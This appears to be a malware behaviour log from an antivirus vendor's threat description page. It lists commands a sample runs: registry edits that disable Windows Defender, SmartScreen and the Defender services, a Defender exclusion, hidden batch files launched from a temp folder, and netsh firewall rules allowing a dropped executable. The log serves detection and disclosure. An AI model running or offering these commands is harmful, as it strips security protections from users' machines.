'%WINDIR%\syswow64\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t reg_DWORD /d "0" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t reg_DWORD /d "0" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" /v "DisablePrivacyMode" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtectionSource" /t reg_DWORD /d "2" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v "DisableAntiVirus" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nsf338E.tmp\1bn-2.bat
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /t reg_DWORD /d "4" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Quarantine" /v "PurgeItemsAfterDelay" /t reg_DWORD /d "0" /f
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nsf338E.tmp\1bn-1.bat
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t reg_DWORD /d "2" /f
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nsf338E.tmp\0bn.bat
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nsf338E.tmp\3bn-1.bat
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "PreventOverride" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter" /v "EnabledV9" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nsf338E.tmp\3bn-4.bat
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nsf338E.tmp\3bn-5.bat
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t reg_DWORD /d "0" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nsf338E.tmp\3bn-3.bat
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AppAndBrowser_StoreAppsSmartScreenOff" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions" /v "DisableAutoExclusions" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t reg_DWORD /d 1 /f
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nsf338E.tmp\3bn-2.bat
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "RandomizeScheduleTaskTimes" /t reg_DWORD /d "0" /f
'%WINDIR%\syswow64\reg.exe' add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AccountProtection_MicrosoftAccount_Disconnected" /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "PUAProtection" /t reg_DWORD /d "0" /f
'%WINDIR%\syswow64\reg.exe' add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AppAndBrowser_EdgeSmartScreenOff" /t REG_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "PreventOverride" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Quarantine" /v "LocalSettingOverridePurgeItemsAfterDelay" /t reg_DWORD /d "0" /f
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath \"%TEMP%\nsf338E.tmp\""' (with hidden window)
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f' (with hidden window)
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f' (with hidden window)
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name=oaffiqbkigibhkoaffiqbkigibhk dir=out action=allow program="%TEMP%\nsf338E.tmp\oaffiqbkigibhk.exe" enable=yes profile=public,private' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nsf338E.tmp\3bn-5.bat' (with hidden window)
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f' (with hidden window)
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nsf338E.tmp\1bn-1.bat' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nsf338E.tmp\0bn.bat' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nsf338E.tmp\1bn-2.bat' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nsf338E.tmp\3bn-1.bat' (with hidden window)
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f' (with hidden window)
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f' (with hidden window)
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nsf338E.tmp\2bn.bat' (with hidden window)
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nsf338E.tmp\3bn-2.bat' (with hidden window)
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="oaffiqbkigibhkoaffiqbkigibhkoaffiqbkigibhk" dir=out action=allow program="%TEMP%\nsf338E.tmp\oaffiqbkigibhk.exe" enable=yes profile=any' (with hidden window)
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nsf338E.tmp\3bn-4.bat' (with hidden window)
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f' (with hidden window)
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f' (with hidden window)
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nsf338E.tmp\1bn-3.bat' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nsf338E.tmp\4bn.bat' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nsf338E.tmp\3bn-3.bat' (with hidden window)
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f' (with hidden window)
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name=oaffiqbkigibhk dir=in action=allow program="%TEMP%\nsf338E.tmp\oaffiqbkigibhk.exe" enable=yes profile=public,private' (with hidden window)

Технологии

Термины

Обучение и просвещение

Мифы

Technical Information

Рекомендации по лечению

Демо бесплатно на 14 дней